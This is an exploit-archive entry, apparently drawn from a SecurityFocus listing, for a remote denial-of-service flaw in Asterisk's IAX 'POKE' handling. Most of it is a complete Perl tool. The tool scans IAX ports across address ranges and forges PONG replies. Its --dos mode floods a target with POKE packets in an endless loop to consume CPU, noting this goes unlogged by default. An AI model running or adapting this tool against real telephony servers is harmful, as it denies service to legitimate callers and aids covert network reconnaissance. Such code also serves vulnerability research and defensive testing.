source: https://www.securityfocus.com/bid/30321/info Asterisk is prone to a remote denial-of-service vulnerability because it fails to handle multiple 'POKE' requests in quick succession. Attackers can exploit this issue by sending a persistent stream of 'POKE' requests that will consume processor resources and deny service to legitimate users. NOTE: By default, 'POKE' requests are not logged by Asterisk. #!/usr/bin/perl -w #udp IAX ping discovery and injection tool #Created: Blake Cornell #Released under no license, use at your own free will # # Do not hesitate to show enthusiasm and support # and help develop this further. use strict; use IO::Socket; use Getopt::Long; use Net::Subnets; use Pod::Usage; my @target_port = (4569); my @targets = ('127.0.0.1'); my $result = GetOptions('port|p=i' => \(my $port = ''), 'sport|sp=i' => \(my $sport = ''), 'eport|ep=i' => \(my $eport = ''), 'source|sip=s' => \(my $source = ''), 'host|h=s' => \(my $host = ''), 'inject|in' => \(my $inject = ''), 'dos' => \(my $dos = ''), 'timeout|t=i' => \(my $timeout = ''), 'dundi-check|dundi' => \(my $dundi = ''), 'verbose|v' => \(my $verbose = ''), 'help|?' => \(my $help = '')) or pod2usage(2); if($help) { printUsage(); } if($host) { @targets=@{retHosts($host)}; } if($port) { $target_port[0] = $port; } if($dundi) { print "DUNDI Option Scan not supported yet."; } if($source) { print "Setting of the source IP address is only supported in inject mode"; } if($inject) { if($verbose) { print "INJECTION MODE"; } if(!@targets) { print "\nSet the host ( -h ) option\n"; return 1; } for(my $i=20000;$i<=65535;$i++) { for(my $j=0;$j<=$#targets;$j++) { if($verbose) { print $targets[$j]; } injectIAXPoke($targets[$j],$source,$i,0); } #my($target,$source,$port,$timeout,@args)=@_; } exit; } if($dos) { while(1) { for(my $j=0;$j<=$#targets;$j++) { if($verbose) { print $targets[$j]; } dosIAXPoke($targets[$j],4569,$timeout); } } } if($sport ne '' && $eport ne '') { #defined doesn't work for getoptions #devices are always defined if($verbose ne '') { print "Scanning Port Range\n"; } if($eport < $sport) { my $tmp = $eport; $eport = $sport; $sport = $tmp; } if($sport < 1) { $sport = 1; } if($eport > 65535) { $eport = 65535; } if($timeout ne '' && $verbose ne '') { if($timeout <= 0) { $timeout = 1; } print "Scanning Ports $sport through $eport\n"; print "Setting timeout to $timeout\n"; } @target_port=(); for(my $i=$sport; $i <= $eport; $i++) { push(@target_port,$i); } sendIAXPokes(\@targets,\@target_port); }else{ #scanning only default port... sendIAXPokes(\@targets,\@target_port); } sub sendIAXPokes { my($targets_ref,$target_ports_ref,@args)=@_; my @targets=@{$targets_ref}; my @target_ports=@{$target_ports_ref}; for(my $i=0;$i<=$#targets;$i++) { for(my $j=0;$j<=$#target_ports;$j++) { sendIAXPoke($targets[$i],$target_ports[$j],$timeout); } } } sub sendIAXPoke { my($target,$port,$timeout,@args)=@_; if($verbose) { print "Trying $target:$port\n"; } socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp")); my $src_call = "8000"; my $dst_call = "0000"; my $timestamp = "00000000"; my $outbound_seq = "00"; my $inbound_seq = "00"; my $type = "06"; #IAX_Control my $iax_type = "1e"; #POKE my $msg = pack "H24", $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $type . $iax_type; my $ipaddr = inet_aton($target); my $sin = sockaddr_in($port,$ipaddr); send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to $target : $port : $!\n"; my $MAXLEN = 1024; my $TIMEOUT = 1; if(defined($timeout) && $timeout ne '' && $timeout != 0) { #timeout of 0 hangs #unanswered requests $TIMEOUT=$timeout; } eval { local $SIG{ALRM} = sub { die "alarm time out"; }; alarm $TIMEOUT; while (1) { my $recvfrom = recv(PING, $msg, $MAXLEN, 0) or die "recv: $!"; ($port, $ipaddr) = sockaddr_in($recvfrom); my $respaddr = inet_ntoa($ipaddr); print "Response from $respaddr : $port\n"; return($respaddr,$port); } }; } sub injectIAXPoke { my($target,$source,$port,$timeout,@args)=@_; socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp")); my $src_call = "8000"; my $dst_call = "0000"; my $timestamp = "00000000"; my $outbound_seq = "00"; my $inbound_seq = "01"; #increment by one did he say? my $type = "06"; #IAX_Control my $iax_type = "03"; #PONG my $msg = pack "H24", $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $type . $iax_type; my $targetIP = inet_aton($target); my $sin = sockaddr_in($port,$targetIP); send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to $target : $port : $!\n"; } sub retHosts { my($host,@args)=@_; my @addrs; if(!$host) { return ('127.0.0.1') }; if($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) { #Check to see if host is valid class C CIDR Address if($verbose) { print "Setting CIDR Address Range\n"; } my $sn = Net::Subnets->new; my($low,$high)=$sn->range(\$host); if($verbose) { print "Determined IP Ranges From $$low - $$high\n"; } return \@{ $sn->list(\($$low,$$high)) }; }elsif($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) { #Check to see if host is valid IP push(@addrs,"$1.$2.$3.$4"); }else{ push(@addrs,$host); } return \@addrs; } sub dosIAXPoke { my($target,$port,$timeout,@args)=@_; if($verbose) { print "Trying $target:$port\n"; } socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp")); my $src_call = "8000"; my $dst_call = "0000"; my $timestamp = "00000000"; my $outbound_seq = "00"; my $inbound_seq = "00"; my $type = "06"; #IAX_Control my $iax_type = "1e"; #POKE my $msg = pack "H24", $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $type . $iax_type; my $ipaddr = inet_aton($target); my $sin = sockaddr_in($port,$ipaddr); send(PING, $msg, 0, $sin) == length($msg) or die "cannot send to $target : $port : $!\n"; } sub printUsage { print "$0 -h remoteorigin.com \n\t\tScans remoteorigin.com on default port of 4569\n"; print "$0 -h remoteorigin.com -sp 4000 -ep 5000\n\t\tScans ports 4000 through 5000 on server remoteorigin.com\n"; print "$0 --source remoteorigi.com -h 127.0.0.1 --inject\n\t\tInjects Forged Poke Replies to 127.0.0.1 from remoteorigin.com\n"; print "$0 --dos\n\t\tThis will continually send IAX Poke packets. This will eat up CPU cycles and isn't logged by default\n"; exit; }